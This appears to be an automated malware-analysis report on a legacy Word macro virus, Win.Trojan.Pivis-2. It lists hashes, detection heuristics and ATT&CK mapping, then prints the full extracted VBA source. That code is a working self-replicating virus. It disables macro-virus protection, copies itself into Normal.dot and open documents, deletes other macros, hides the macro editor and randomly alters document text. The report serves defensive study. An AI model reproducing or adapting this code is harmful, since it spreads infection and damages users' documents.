Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 92547674740c9d8b…

MALICIOUS

Office (OLE)

34.5 KB Created: 2000-03-11 10:02:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-19
MD5: 06e805b714943e93306513607711eae0 SHA-1: cdcedfdfab827f6401619391bc5b838c22da281f SHA-256: 92547674740c9d8be274ef40b8bded9a1506cb4a0f60d320e8a33226e68cd21d
196 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 85%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, including WordBasic markers and VBA code that attempts to disable macro-virus protection. The presence of AutoOpen, AutoClose, and AutoExec subroutines, along with the ClamAV detection of 'Win.Trojan.Pivis-2', strongly indicates a malicious intent related to macro-based threats.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4304 bytes
SHA-256: 37948e1152c559e440e9246f16acdef5ab1bbf54603b89b1b5ecb7b4e66ee4a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyMacro1"
Sub MyMacro()
Attribute MyMacro.VB_Description = "Macro created 12/04/98 by Sheba Grace"
Attribute MyMacro.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.MyMacro"
'
' MyMacro Macro
' Macro created 12/04/98 by Sheba Grace
'
MsgBox ("Hello")
End Sub

Attribute VB_Name = "akrnl"
    
Public Skip As Integer
Sub AutoExec()
    On Error Resume Next
    Call Sauve
End Sub
Sub AutoNew()
 On Error Resume Next
 Call Sauve
End Sub
Sub AutoPrint()
 On Error Resume Next
 Call Sauve
End Sub

Sub FileNew()
    On Error Resume Next
    Call Sauve
Dialogs(wdDialogFileNew).show
    Skip = 1
    Call Sauve
    
End Sub
Sub FileClose()
    On Error Resume Next
    Call Sauve
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
    Call Sauve
End Sub
Sub FileExit()
    On Error Resume Next
    Call Sauve
    Application.Quit
End Sub
    

Sub autoOpen()
    On Error Resume Next
    
    
    
    Call Sauve
    
End Sub
Sub AutoExit()
    On Error Resume Next
    Call Sauve
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub

Sub AutoClose()
    On Error Resume Next
    Call Sauve
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Call Sauve
End Sub
Sub ToolsMacro()
    On Error Resume Next
    
End Sub
Sub FileTemplates()
    On Error Resume Next
    
End Sub
Sub ViewVBCode()
   On Error Resume Next
   
End Sub

Sub RandomRemplace()
Randomize
ValRandom = Int(Rnd * 75)
    If ValRandom < 20 Then BesoinRemplace = True
    If ValRandom < 20 Then txt = "ainsi, si j'en crois ce que mon incompétant de professeur me dit,"
    If ValRandom < 15 Then txt = "ainsi, mon chat a perdu ses dents. De plus,"
    If ValRandom < 10 Then txt = "ainsi, selon ma grand-mère,"
    If ValRandom < 5 Then txt = "ainsi, la matière du cours est plate. De plus,"
    
    If BesoinRemplace = True Then Call Remplace(txt)
    
    
    
End Sub
    

Sub Remplace(txt)
 
Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    With Selection.Find
        .Text = "donc,"
        .Replacement.Text = txt
        .Forward = True
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceOne
    Selection.MoveUp Unit:=wdScreen, Count:=8
    

End Sub

Sub Sauve()

On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("akrnl").Export "c:\Étudiant.cfg"
ActiveDocument.ReadOnlyRecommended = False

For i = 1 To ActiveDocument.VBProject.VBComponents.Count
NomMacro = ActiveDocument.VBProject.VBComponents(i).Name
If NomMacro = "akrnl" Then PrésentAct = True Else Call DelVir(NomMacro)
Next i

For i = 1 To NormalTemplate.VBProject.VBComponents.Count
NomMacro = NormalTemplate.VBProject.VBComponents(i).Name
If NomMacro = "akrnl" Then PrésentNorm = True Else Call DelVir(NomMacro)
Next i

If PrésentAct = True And PrésentNorm = False Then Set BesoinSauve = NormalTemplate.VBProject.VBComponents
If PrésentAct = False And PrésentNorm = True Then Set BesoinSauve = ActiveDocument.VBProject.VBComponents

BesoinSauve.Import "c:\Étudiant.cfg"

If PrésentNorm = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
If PrésentAct = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

End Sub
Sub DelVir(NomMacro)
On Error Resume Next

Application.VBE.ActiveVBProject.VBComponents.Remove _
                         Application.VBE.ActiveVBProject.VBComponents(NomMacro)
                         
With Application.NormalTemplate.VBProject
             .VBComponents.Remove .VBComponents(NomMacro)
    End With
End Sub

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